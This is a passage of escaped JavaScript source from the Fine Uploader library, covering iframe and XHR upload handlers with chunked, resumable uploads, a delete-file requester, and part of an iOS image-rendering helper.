upload request (iframe name \" + iframeName + \")\");\n\n                postMessageCallbackTimers[iframeName] = setTimeout(function() {\n                    var errorMessage = \"No valid message received from loaded iframe for iframe name \" + iframeName;\n                    log(errorMessage, \"error\");\n                    callback({\n                        error: errorMessage\n                    });\n                }, 1000);\n            }\n        });\n\n        // Listen for messages coming from this iframe.  When a message has been received, cancel the timer\n        // that declares the upload a failure if a message is not received within a reasonable amount of time.\n        corsMessageReceiver.receiveMessage(iframeName, function(message) {\n            log(\"Received the following window message: '\" + message + \"'\");\n            var fileId = getFileIdForIframeName(iframeName),\n                response = handler._parseJsonResponse(message),\n                uuid = response.uuid,\n                onloadCallback;\n\n            if (uuid && onloadCallbacks[uuid]) {\n                log(\"Handling response for iframe name \" + iframeName);\n                clearTimeout(postMessageCallbackTimers[iframeName]);\n                delete postMessageCallbackTimers[iframeName];\n\n                handler._detachLoadEvent(iframeName);\n\n                onloadCallback = onloadCallbacks[uuid];\n\n                delete onloadCallbacks[uuid];\n                corsMessageReceiver.stopReceivingMessages(iframeName);\n                onloadCallback(response);\n            }\n            else if (!uuid) {\n                log(\"'\" + message + \"' does not contain a UUID - ignoring.\");\n            }\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, fileInput) {\n                super_.add(id, {input: fileInput});\n\n                fileInput.setAttribute(\"name\", inputName);\n\n                // remove file input from DOM\n                if (fileInput.parentNode) {\n                    qq(fileInput).remove();\n                }\n            },\n\n            expunge: function(id) {\n                expungeFile(id);\n                super_.expunge(id);\n            },\n\n            isValid: function(id) {\n                return super_.isValid(id) &&\n                    handler._getFileState(id).input !== undefined;\n            }\n        };\n    });\n\n    qq.extend(this, {\n        getInput: function(id) {\n            return handler._getFileState(id).input;\n        },\n\n        /**\n         * This function either delegates to a more specific message handler if CORS is involved,\n         * or simply registers a callback when the iframe has been loaded that invokes the passed callback\n         * after determining if the content of the iframe is accessible.\n         *\n         * @param iframe Associated iframe\n         * @param callback Callback to invoke after we have determined if the iframe content is accessible.\n         */\n        _attachLoadEvent: function(iframe, callback) {\n            /*jslint eqeq: true*/\n            var responseDescriptor;\n\n            if (isCors) {\n                registerPostMessageCallback(iframe, callback);\n            }\n            else {\n                detachLoadEvents[iframe.id] = qq(iframe).attach(\"load\", function() {\n                    log(\"Received response for \" + iframe.id);\n\n                    // when we remove iframe from dom\n                    // the request stops, but in IE load\n                    // event fires\n                    if (!iframe.parentNode) {\n                        return;\n                    }\n\n                    try {\n                        // fixing Opera 10.53\n                        if (iframe.contentDocument &&\n                            iframe.contentDocument.body &&\n                            iframe.contentDocument.body.innerHTML == \"false\") {\n                            // In Opera event is fired second time\n                            // when body.innerHTML changed from false\n                            // to server response approx. after 1 sec\n                            // when we upload file with iframe\n                            return;\n                        }\n                    }\n                    catch (error) {\n                        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n                        log(\"Error when attempting to access iframe during handling of upload response (\" + error.message + \")\", \"error\");\n                        responseDescriptor = {success: false};\n                    }\n\n                    callback(responseDescriptor);\n                });\n            }\n        },\n\n        /**\n         * Creates an iframe with a specific document-unique name.\n         *\n         * @param id ID of the associated file\n         * @returns {HTMLIFrameElement}\n         */\n        _createIframe: function(id) {\n            var iframeName = handler._getIframeName(id);\n\n            return initIframeForUpload(iframeName);\n        },\n\n        /**\n         * Called when we are no longer interested in being notified when an iframe has loaded.\n         *\n         * @param id Associated file ID\n         */\n        _detachLoadEvent: function(id) {\n            if (detachLoadEvents[id] !== undefined) {\n                detachLoadEvents[id]();\n                delete detachLoadEvents[id];\n            }\n        },\n\n        /**\n         * @param fileId ID of the associated file\n         * @returns {string} The `document`-unique name of the iframe\n         */\n        _getIframeName: function(fileId) {\n            return fileId + \"_\" + formHandlerInstanceId;\n        },\n\n        /**\n         * Generates a form element and appends it to the `document`.  When the form is submitted, a specific iframe is targeted.\n         * The name of the iframe is passed in as a property of the spec parameter, and must be unique in the `document`.  Note\n         * that the form is hidden from view.\n         *\n         * @param spec An object containing various properties to be used when constructing the form.  Required properties are\n         * currently: `method`, `endpoint`, `params`, `paramsInBody`, and `targetName`.\n         * @returns {HTMLFormElement} The created form\n         */\n        _initFormForUpload: function(spec) {\n            var method = spec.method,\n                endpoint = spec.endpoint,\n                params = spec.params,\n                paramsInBody = spec.paramsInBody,\n                targetName = spec.targetName,\n                form = qq.toElement(\"<form method='\" + method + \"' enctype='multipart/form-data'></form>\"),\n                url = endpoint;\n\n            if (paramsInBody) {\n                qq.obj2Inputs(params, form);\n            }\n            else {\n                url = qq.obj2url(params, endpoint);\n            }\n\n            form.setAttribute(\"action\", url);\n            form.setAttribute(\"target\", targetName);\n            form.style.display = \"none\";\n            document.body.appendChild(form);\n\n            return form;\n        },\n\n        /**\n         * @param innerHtmlOrMessage JSON message\n         * @returns {*} The parsed response, or an empty object if the response could not be parsed\n         */\n        _parseJsonResponse: function(innerHtmlOrMessage) {\n            var response = {};\n\n            try {\n                response = qq.parseJson(innerHtmlOrMessage);\n            }\n            catch (error) {\n                log(\"Error when attempting to parse iframe upload response (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common API exposed to creators of XHR handlers.  This is reused and possibly overriding in some cases by specific\n * XHR upload handlers.\n *\n * @constructor\n */\nqq.XhrUploadHandler = function(spec) {\n    \"use strict\";\n\n    var handler = this,\n        namespace = spec.options.namespace,\n        proxy = spec.proxy,\n        chunking = spec.options.chunking,\n        resume = spec.options.resume,\n        chunkFiles = chunking && spec.options.chunking.enabled && qq.supportedFeatures.chunking,\n        resumeEnabled = resume && spec.options.resume.enabled && chunkFiles && qq.supportedFeatures.resume,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        getEndpoint = proxy.getEndpoint,\n        getDataByUuid = proxy.getDataByUuid,\n        onUuidChanged = proxy.onUuidChanged,\n        onProgress = proxy.onProgress,\n        log = proxy.log;\n\n    function abort(id) {\n        qq.each(handler._getXhrs(id), function(xhrId, xhr) {\n            var ajaxRequester = handler._getAjaxRequester(id, xhrId);\n\n            xhr.onreadystatechange = null;\n            xhr.upload.onprogress = null;\n            xhr.abort();\n            ajaxRequester && ajaxRequester.canceled && ajaxRequester.canceled(id);\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, blobOrProxy) {\n                if (qq.isFile(blobOrProxy) || qq.isBlob(blobOrProxy)) {\n                    super_.add(id, {file: blobOrProxy});\n                }\n                else if (blobOrProxy instanceof qq.BlobProxy) {\n                    super_.add(id, {proxy: blobOrProxy});\n                }\n                else {\n                    throw new Error(\"Passed obj is not a File, Blob, or proxy\");\n                }\n\n                handler._initTempState(id);\n                resumeEnabled && handler._maybePrepareForResume(id);\n            },\n\n            expunge: function(id) {\n                abort(id);\n                handler._maybeDeletePersistedChunkData(id);\n                handler._clearXhrs(id);\n                super_.expunge(id);\n            }\n        };\n    });\n\n    qq.extend(this, {\n        // Clear the cached chunk `Blob` after we are done with it, just in case the `Blob` bytes are stored in memory.\n        clearCachedChunk: function(id, chunkIdx) {\n            delete handler._getFileState(id).temp.cachedChunks[chunkIdx];\n        },\n\n        clearXhr: function(id, chunkIdx) {\n            var tempState = handler._getFileState(id).temp;\n\n            if (tempState.xhrs) {\n                delete tempState.xhrs[chunkIdx];\n            }\n            if (tempState.ajaxRequesters) {\n                delete tempState.ajaxRequesters[chunkIdx];\n            }\n        },\n\n        // Called when all chunks have been successfully uploaded.  Expected promissory return type.\n        // This defines the default behavior if nothing further is required when all chunks have been uploaded.\n        finalizeChunks: function(id, responseParser) {\n            var lastChunkIdx = handler._getTotalChunks(id) - 1,\n                xhr = handler._getXhr(id, lastChunkIdx);\n\n            if (responseParser) {\n                return new qq.Promise().success(responseParser(xhr), xhr);\n            }\n\n            return new qq.Promise().success({}, xhr);\n        },\n\n        getFile: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).file;\n        },\n\n        getProxy: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).proxy;\n        },\n\n        /**\n         * @returns {Array} Array of objects containing properties useful to integrators\n         * when it is important to determine which files are potentially resumable.\n         */\n        getResumableFilesData: function() {\n            var resumableFilesData = [];\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                handler.moveInProgressToRemaining(null, uploadData.chunking.inProgress,  uploadData.chunking.remaining);\n\n                var data = {\n                    name: uploadData.name,\n                    remaining: uploadData.chunking.remaining,\n                    size: uploadData.size,\n                    uuid: uploadData.uuid\n                };\n\n                if (uploadData.key) {\n                    data.key = uploadData.key;\n                }\n\n                resumableFilesData.push(data);\n            });\n\n            return resumableFilesData;\n        },\n\n        isResumable: function(id) {\n            return !!chunking && handler.isValid(id) && !handler._getFileState(id).notResumable;\n        },\n\n        moveInProgressToRemaining: function(id, optInProgress, optRemaining) {\n            var inProgress = optInProgress || handler._getFileState(id).chunking.inProgress,\n                remaining = optRemaining || handler._getFileState(id).chunking.remaining;\n\n            if (inProgress) {\n                log(qq.format(\"Moving these chunks from in-progress {}, to remaining.\", JSON.stringify(inProgress)));\n                inProgress.reverse();\n                qq.each(inProgress, function(idx, chunkIdx) {\n                    remaining.unshift(chunkIdx);\n                });\n                inProgress.length = 0;\n            }\n        },\n\n        pause: function(id) {\n            if (handler.isValid(id)) {\n                log(qq.format(\"Aborting XHR upload for {} '{}' due to pause instruction.\", id, getName(id)));\n                handler._getFileState(id).paused = true;\n                abort(id);\n                return true;\n            }\n        },\n\n        reevaluateChunking: function(id) {\n            if (chunking && handler.isValid(id)) {\n                var state = handler._getFileState(id),\n                    totalChunks,\n                    i;\n\n                delete state.chunking;\n\n                state.chunking = {};\n                totalChunks = handler._getTotalChunks(id);\n                if (totalChunks > 1 || chunking.mandatory) {\n                    state.chunking.enabled = true;\n                    state.chunking.parts = totalChunks;\n                    state.chunking.remaining = [];\n\n                    for (i = 0; i < totalChunks; i++) {\n                        state.chunking.remaining.push(i);\n                    }\n\n                    handler._initTempState(id);\n                }\n                else {\n                    state.chunking.enabled = false;\n                }\n            }\n        },\n\n        updateBlob: function(id, newBlob) {\n            if (handler.isValid(id)) {\n                handler._getFileState(id).file = newBlob;\n            }\n        },\n\n        _clearXhrs: function(id) {\n            var tempState = handler._getFileState(id).temp;\n\n            qq.each(tempState.ajaxRequesters, function(chunkId) {\n                delete tempState.ajaxRequesters[chunkId];\n            });\n\n            qq.each(tempState.xhrs, function(chunkId) {\n                delete tempState.xhrs[chunkId];\n            });\n        },\n\n        /**\n         * Creates an XHR instance for this file and stores it in the fileState.\n         *\n         * @param id File ID\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @returns {XMLHttpRequest}\n         */\n        _createXhr: function(id, optChunkIdx) {\n            return handler._registerXhr(id, optChunkIdx, qq.createXhrInstance());\n        },\n\n        _getAjaxRequester: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.ajaxRequesters[chunkIdx];\n        },\n\n        _getChunkData: function(id, chunkIndex) {\n            var chunkSize = chunking.partSize,\n                fileSize = getSize(id),\n                fileOrBlob = handler.getFile(id),\n                startBytes = chunkSize * chunkIndex,\n                endBytes = startBytes + chunkSize >= fileSize ? fileSize : startBytes + chunkSize,\n                totalChunks = handler._getTotalChunks(id),\n                cachedChunks = this._getFileState(id).temp.cachedChunks,\n\n            // To work around a Webkit GC bug, we must keep each chunk `Blob` in scope until we are done with it.\n            // See https://github.com/Widen/fine-uploader/issues/937#issuecomment-41418760\n                blob = cachedChunks[chunkIndex] || qq.sliceBlob(fileOrBlob, startBytes, endBytes);\n\n            cachedChunks[chunkIndex] = blob;\n\n            return {\n                part: chunkIndex,\n                start: startBytes,\n                end: endBytes,\n                count: totalChunks,\n                blob: blob,\n                size: endBytes - startBytes\n            };\n        },\n\n        _getChunkDataForCallback: function(chunkData) {\n            return {\n                partIndex: chunkData.part,\n                startByte: chunkData.start + 1,\n                endByte: chunkData.end,\n                totalParts: chunkData.count\n            };\n        },\n\n        /**\n         * @param id File ID\n         * @returns {string} Identifier for this item that may appear in the browser's local storage\n         */\n        _getLocalStorageId: function(id) {\n            var formatVersion = \"5.0\",\n                name = getName(id),\n                size = getSize(id),\n                chunkSize = chunking.partSize,\n                endpoint = getEndpoint(id);\n\n            return qq.format(\"qq{}resume{}-{}-{}-{}-{}\", namespace, formatVersion, name, size, chunkSize, endpoint);\n        },\n\n        _getMimeType: function(id) {\n            return handler.getFile(id).type;\n        },\n\n        _getPersistableData: function(id) {\n            return handler._getFileState(id).chunking;\n        },\n\n        /**\n         * @param id ID of the associated file\n         * @returns {number} Number of parts this file can be divided into, or undefined if chunking is not supported in this UA\n         */\n        _getTotalChunks: function(id) {\n            if (chunking) {\n                var fileSize = getSize(id),\n                    chunkSize = chunking.partSize;\n\n                return Math.ceil(fileSize / chunkSize);\n            }\n        },\n\n        _getXhr: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.xhrs[chunkIdx];\n        },\n\n        _getXhrs: function(id) {\n            return handler._getFileState(id).temp.xhrs;\n        },\n\n        // Iterates through all XHR handler-created resume records (in local storage),\n        // invoking the passed callback and passing in the key and value of each local storage record.\n        _iterateResumeRecords: function(callback) {\n            if (resumeEnabled) {\n                qq.each(localStorage, function(key, item) {\n                    if (key.indexOf(qq.format(\"qq{}resume\", namespace)) === 0) {\n                        var uploadData = JSON.parse(item);\n                        callback(key, uploadData);\n                    }\n                });\n            }\n        },\n\n        _initTempState: function(id) {\n            handler._getFileState(id).temp = {\n                ajaxRequesters: {},\n                chunkProgress: {},\n                xhrs: {},\n                cachedChunks: {}\n            };\n        },\n\n        _markNotResumable: function(id) {\n            handler._getFileState(id).notResumable = true;\n        },\n\n        // Removes a chunked upload record from local storage, if possible.\n        // Returns true if the item was removed, false otherwise.\n        _maybeDeletePersistedChunkData: function(id) {\n            var localStorageId;\n\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                if (localStorageId && localStorage.getItem(localStorageId)) {\n                    localStorage.removeItem(localStorageId);\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        // If this is a resumable upload, grab the relevant data from storage and items in memory that track this upload\n        // so we can pick up from where we left off.\n        _maybePrepareForResume: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // Resume is enabled and possible and this is the first time we've tried to upload this file in this session,\n            // so prepare for a resume attempt.\n            if (resumeEnabled && state.key === undefined) {\n                localStorageId = handler._getLocalStorageId(id);\n                persistedData = localStorage.getItem(localStorageId);\n\n                // If we found this item in local storage, maybe we should resume it.\n                if (persistedData) {\n                    persistedData = JSON.parse(persistedData);\n\n                    // If we found a resume record but we have already handled this file in this session,\n                    // don't try to resume it & ensure we don't persist future check data\n                    if (getDataByUuid(persistedData.uuid)) {\n                        handler._markNotResumable(id);\n                    }\n                    else {\n                        log(qq.format(\"Identified file with ID {} and name of {} as resumable.\", id, getName(id)));\n\n                        onUuidChanged(id, persistedData.uuid);\n\n                        state.key = persistedData.key;\n                        state.chunking = persistedData.chunking;\n                        state.loaded = persistedData.loaded;\n                        state.attemptingResume = true;\n\n                        handler.moveInProgressToRemaining(id);\n                    }\n                }\n            }\n        },\n\n        // Persist any data needed to resume this upload in a new session.\n        _maybePersistChunkedState: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // If local storage isn't supported by the browser, or if resume isn't enabled or possible, give up\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                persistedData = {\n                    name: getName(id),\n                    size: getSize(id),\n                    uuid: getUuid(id),\n                    key: state.key,\n                    chunking: state.chunking,\n                    loaded: state.loaded,\n                    lastUpdated: Date.now()\n                };\n\n                try {\n                    localStorage.setItem(localStorageId, JSON.stringify(persistedData));\n                }\n                catch (error) {\n                    log(qq.format(\"Unable to save resume data for '{}' due to error: '{}'.\", id, error.toString()), \"warn\");\n                }\n            }\n        },\n\n        _registerProgressHandler: function(id, chunkIdx, chunkSize) {\n            var xhr = handler._getXhr(id, chunkIdx),\n                name = getName(id),\n                progressCalculator = {\n                    simple: function(loaded, total) {\n                        var fileSize = getSize(id);\n\n                        if (loaded === total) {\n                            onProgress(id, name, fileSize, fileSize);\n                        }\n                        else {\n                            onProgress(id, name, (loaded >= fileSize ? fileSize - 1 : loaded), fileSize);\n                        }\n                    },\n\n                    chunked: function(loaded, total) {\n                        var chunkProgress = handler._getFileState(id).temp.chunkProgress,\n                            totalSuccessfullyLoadedForFile = handler._getFileState(id).loaded,\n                            loadedForRequest = loaded,\n                            totalForRequest = total,\n                            totalFileSize = getSize(id),\n                            estActualChunkLoaded = loadedForRequest - (totalForRequest - chunkSize),\n                            totalLoadedForFile = totalSuccessfullyLoadedForFile;\n\n                        chunkProgress[chunkIdx] = estActualChunkLoaded;\n\n                        qq.each(chunkProgress, function(chunkIdx, chunkLoaded) {\n                            totalLoadedForFile += chunkLoaded;\n                        });\n\n                        onProgress(id, name, totalLoadedForFile, totalFileSize);\n                    }\n                };\n\n            xhr.upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    /* jshint eqnull: true */\n                    var type = chunkSize == null ? \"simple\" : \"chunked\";\n                    progressCalculator[type](e.loaded, e.total);\n                }\n            };\n        },\n\n        /**\n         * Registers an XHR transport instance created elsewhere.\n         *\n         * @param id ID of the associated file\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @param xhr XMLHttpRequest object instance\n         * @param optAjaxRequester `qq.AjaxRequester` associated with this request, if applicable.\n         * @returns {XMLHttpRequest}\n         */\n        _registerXhr: function(id, optChunkIdx, xhr, optAjaxRequester) {\n            var xhrsId = optChunkIdx == null ? -1 : optChunkIdx,\n                tempState = handler._getFileState(id).temp;\n\n            tempState.xhrs = tempState.xhrs || {};\n            tempState.ajaxRequesters = tempState.ajaxRequesters || {};\n\n            tempState.xhrs[xhrsId] = xhr;\n\n            if (optAjaxRequester) {\n                tempState.ajaxRequesters[xhrsId] = optAjaxRequester;\n            }\n\n            return xhr;\n        },\n\n        // Deletes any local storage records that are \"expired\".\n        _removeExpiredChunkingRecords: function() {\n            var expirationDays = resume.recordsExpireIn;\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                var expirationDate = new Date(uploadData.lastUpdated);\n\n                // transform updated date into expiration date\n                expirationDate.setDate(expirationDate.getDate() + expirationDays);\n\n                if (expirationDate.getTime() <= Date.now()) {\n                    log(\"Removing expired resume record with key \" + key);\n                    localStorage.removeItem(key);\n                }\n            });\n        },\n\n        /**\n         * Determine if the associated file should be chunked.\n         *\n         * @param id ID of the associated file\n         * @returns {*} true if chunking is enabled, possible, and the file can be split into more than 1 part\n         */\n        _shouldChunkThisFile: function(id) {\n            var state = handler._getFileState(id);\n\n            if (!state.chunking) {\n                handler.reevaluateChunking(id);\n            }\n\n            return state.chunking.enabled;\n        }\n    });\n};\n","/*globals qq, XMLHttpRequest*/\nqq.DeleteFileAjaxRequester = function(o) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            method: \"DELETE\",\n            uuidParamName: \"qquuid\",\n            endpointStore: {},\n            maxConnections: 3,\n            customHeaders: function(id) {return {};},\n            paramsStore: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onDelete: function(id) {},\n            onDeleteComplete: function(id, xhrOrXdr, isError) {}\n        };\n\n    qq.extend(options, o);\n\n    function getMandatedParams() {\n        if (options.method.toUpperCase() === \"POST\") {\n            return {\n                _method: \"DELETE\"\n            };\n        }\n\n        return {};\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"POST\", \"DELETE\"],\n        method: options.method,\n        endpointStore: options.endpointStore,\n        paramsStore: options.paramsStore,\n        mandatedParams: getMandatedParams(),\n        maxConnections: options.maxConnections,\n        customHeaders: function(id) {\n            return options.customHeaders.get(id);\n        },\n        log: options.log,\n        onSend: options.onDelete,\n        onComplete: options.onDeleteComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        sendDelete: function(id, uuid, additionalMandatedParams) {\n            var additionalOptions = additionalMandatedParams || {};\n\n            options.log(\"Submitting delete file request for \" + id);\n\n            if (options.method === \"DELETE\") {\n                requester.initTransport(id)\n                    .withPath(uuid)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n            else {\n                additionalOptions[options.uuidParamName] = uuid;\n                requester.initTransport(id)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n        }\n    });\n};\n","/*global qq, define */\n/*jshint strict:false,bitwise:false,nonew:false,asi:true,-W064,-W116,-W089 */\n/**\n * Mega pixel image rendering library for iOS6+\n *\n * Fixes iOS6+'s image file rendering issue for large size image (over mega-pixel),\n * which causes unexpected subsampling when drawing it in canvas.\n * By using this library, you can safely render the image with proper stretching.\n *\n * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>\n * Released under the MIT license\n *\n * Heavily modified by Widen for Fine Uploader\n */\n(function() {\n\n    /**\n     * Detect subsampling in loaded image.\n     * In iOS, larger images than 2M pixels may be subsampled in rendering.\n     */\n    function detectSubsampling(img) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            canvas = document.createElement(\"canvas\"),\n            ctx;\n\n        if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image\n            canvas.width = canvas.height = 1;\n            ctx = canvas.getContext(\"2d\");\n            ctx.drawImage(img, -iw + 1, 0);\n            // subsampled image becomes half smaller in rendering size.\n            // check alpha channel value to confirm image is covering edge pixel or not.\n            // if alpha value is 0 image is not covering, hence subsampled.\n            return ctx.getImageData(0, 0, 1, 1).data[3] === 0;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * Detecting vertical squash in loaded image.\n     * Fixes a bug which squash image vertically while drawing into canvas for some images.\n     */\n    function detectVerticalSquash(img, iw, ih) {\n        var canvas = document.createElement(\"canvas\"),\n            sy = 0,\n            ey = ih,\n            py = ih,\n            ctx, data, alpha, ratio;\n\n        canvas.width = 1;\n        canvas.height = ih;\n        ctx = canvas.getContext(\"2d\");\n        ctx.drawImage(img, 0, 0);\n        data = ctx.getImageData(0, 0, 1, ih).data;\n\n        // search image edge pixel position in case it is squashed vertically.\n        while (py > sy) {\n            alpha = data[(py - 1) * 4 + 3];\n            if (alpha === 0) {\n                ey = py;\n            } else {\n                sy = py;\n            }\n            py = (ey + sy) >> 1;\n        }\n\n        ratio = (py / ih);\n        return (ratio === 0) ? 1 : ratio;\n    }\n\n    /**\n     * Rendering image element (with resizing) and get its data URL\n     */\n    function renderImageToDataURL(img, blob, options, doSquash) {\n        var canvas = document.createElement(\"canvas\"),\n            mime = options.mime || \"image/jpeg\",\n            promise = new qq.Promise();\n\n        renderImageToCanvas(img, blob, canvas, options, doSquash)\n            .then(function() {\n                promise.success(\n                    canvas.toDataURL(mime, options.quality || 0.8)\n                );\n            });\n\n        return promise;\n    }\n\n    function maybeCalculateDownsampledDimensions(spec) {\n        var maxPixels = 5241000; //iOS specific value\n\n        if (!qq.ios()) {\n            throw new qq.Error(\"Downsampled dimensions can only be reliably calculated for iOS!\");\n        }\n\n        if (spec.origHeight * spec.origWidth > maxPixels) {\n            return {\n                newHeight: Math.round(Math.sqrt(maxPixels * (spec.origHeight / spec.origWidth))),\n                newWidth: Math.round(Math.sqrt(maxPixels * (spec.origWidth / spec.origHeight)))\n            };\n        }\n    }\n\n    /**\n     * Rendering image element (with resizing) into the canvas element\n     */\n    function renderImageToCanvas(img, blob, canvas, options, doSquash) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            width = options.width,\n            height = options.height,\n            ctx = canvas.getContext(\"2d\"),\n            promise = new qq.Promise(),\n            modifiedDimensions;\n\n        ctx.save();\n\n        if (options.resize) {\n            return renderImageToCanvasWithCustomResizer({\n                blob: blob,\n                canvas: canvas,\n                image: img,\n                imageHeight: ih,\n                imageWidth: iw,\n                orientation: options.orientation,\n                resize: options.resize,\n                targetHeight: height,\n                targetWidth: width\n            });\n        }\n\n        if (!qq.supportedFeatures.unlimitedScaledImageSize) {\n            modifiedDimensions = maybeCalculateDownsampledDimensions({\n                origWidth: width,\n                origHeight: height\n            });\n\n            if (modifiedDimensions) {\n                qq.log(qq.format(\"Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h\",\n                    width, height, modifiedDimensions.newWidth, modifiedDimensions.newHeight),\n                    \"warn\");\n\n                width = modifiedDimensions.newWidth;\n                height = modifiedDimensions.newHeight;\n            }\n        }\n\n        transformCoordinate(canvas, width, height, options.orientation);\n\n        // Fine Uploader specific: Save some CPU cycles if not using iOS\n        // Assumption: This logic is only needed to overcome iOS image sampling issues\n        if (qq.ios()) {\n            (function() {\n                if (detectSubsampling(img)) {\n                    iw /= 2;\n                    ih /= 2;\n                }\n\n                var d = 1024, // size of tiling canvas\n                    tmpCanvas = document.createElement(\"canvas\"),\n                    vertSquashRatio = doSquash ? detectVerticalSquash(img, iw, ih) : 1,\n                    dw = Math.ceil(d * width / iw),\n                    dh = Math.ceil(d * height / ih / vertSquashRatio),\n                    sy = 0,\n                    dy = 0,\n                    tmpCtx, sx, dx;\n\n                tmpCanvas.width = tmpCanvas.height = d;\n                tmpCtx = tmpCanvas.getContext(\"2d\");\n\n                while (sy < ih) {\n                    sx = 0;\n                    dx = 0;\n                    while (sx < iw) {\n                        tmpCtx.clearRect(0, 0, d, d);\n                        tmpCtx.drawImage(img, -sx, -sy);\n                        ctx.drawImage(tmpCanvas, 0, 0, d, d, dx, dy, dw, dh);\n                        sx += d;\n                        dx += dw;\n                    }\n                    sy += d;\n                    dy += dh;\n                }\n                ctx.restore();\n                tmpCanvas = tmpCtx = null;\n            }());\n        }\n        else {\n            ctx.drawImage(img, 0, 0, width, height);\n        }\n\n        canvas.qqImageRendered && canvas.qqImageRendered();\n        promise.success();\n\n        return promise;\n    }\n\n    function renderImageToCanvasWithCustomResizer(resizeInfo) {\n        var blob = resizeInfo.blob,\n            image = resizeInfo.image,\n            imageHeight = resizeInfo.imageHeight,\n            imageWidth = resizeInfo.imageWidth,\n            orientation = resizeInfo.orientation,\n            promise = new qq.Promise(),\n            resize = resizeInfo.resize,\n            sourceCanvas = document.createElement(\"canvas\"),\n            sourceCanvasContext = sourceCanvas.getContext(\"2d\"),\n            targetCanvas = resizeInfo.canvas,\n            targetHeight = resizeInfo.targetHeight,\n            targetWidth = resizeInfo.targetWidth;\n\n        transformCoordinate(sourceCanvas, imageWidth, imageHeight, orientation);\n\n        targetCanvas.height = targetHeight;\n        targetCanvas.width = targetWidth;\n\n        sourceCanvasContext.drawImage(image, 0, 0);\n\n        resize({\n            blob: blob,\n            height: targetHeight,\n            image: image,\n            sourceCanvas: sourceCanvas,\n            targetCanvas: targetCanvas,\n            width: targetWidth\n        })\n            .then(\n                function success() {\n                    targetCanvas.qqImageRendered && targetCanvas.qqImageRendered();\n                    promise.success();\n                },\n                promise.failure\n            );\n\n        return promise;\n    }\n\n    /**\n     * Transform canvas coordination according to specified frame size and orientation\n     * Orientation value is from EXIF tag\n     */\n    function transformCoordinate(canvas, width, height, orientation) {\n        switch (orientation) {\n            case 5:\n            case 6:\n            case 7:\n            case 8:\n                canvas.width = height;\n                canvas.height = width;\n                break;\n            default:\n                canvas.width = width;\n                canvas.height = height;\n        }\n        var ctx = canvas.getContext(\"2d\");\n        switch (orientation) {\n            case 2:\n                // horizontal flip\n                ctx.translate(width, 0);\n                ctx.scale(-1, 1);\n                break;\n            case 3:\n                // 180 rotate left\n                ctx.translate(width, height);\n                ctx.rotate(Math.PI);\n                break;\n            case 4:\n                // vertical flip\n                ctx.translate(0, height);\n                ctx.scale(1, -1);\n                break;\n            case 5:\n                // vertical flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.scale(1, -1);\n                break;\n            case 6:\n                // 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(0, -height);\n                break;\n            case 7:\n                // horizontal flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(width, -height);\n                ctx.scale(-1, 1);\n                break;\n            case 8:\n                // 90 rotate left\n                ctx.rotate(-0.5 * Math.PI);\n                ctx.translate(-width, 0);\n                break;\n            default:\n                break;\n        }\n    }\n\n    /**\n     * MegaPixImage class\n     */\n    function MegaPixImage(srcImage, errorCallback) {\n        var self = this;\n\n        if (window.Blob && srcImage instanceof Blob) {\n            (function() {\n                var img = new Image(),\n                    URL = window.URL && window.URL.createObjectURL ? window.URL :\n                        window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;\n                if (!URL) { throw Error(\"No createObjectURL function found to create blob url\"); }\n                img.src = URL.createObjectURL(srcImage);\n                self.blob = srcImage;\n                srcImage = img;\n            }());\n        }\n        if (!srcImage.naturalWidth && !srcImage.naturalHeight) {\n            srcImage.onload = function() {\n                var listeners = self.imageLoadListeners;\n                if (listeners) {\n                    self.imageLoadListeners = null;\n                    // IE11 doesn't reliably report actual image dimensions immediately after onload for small files,\n                    // so let's push this to the end of the UI thread queue.\n                    setTimeout(function() {\n                        for (var i = 0, len = listeners.length; i < len; i++) {\n                            listeners[i]();\n                        }\n                    }, 0);\n                }\n            };\n            srcImage.onerror = errorCallback;\n            this.imageLoadListeners = [];\n        }\n        this.srcImage = srcImage;\n    }\n\n    /**\n     * Rendering megapix image 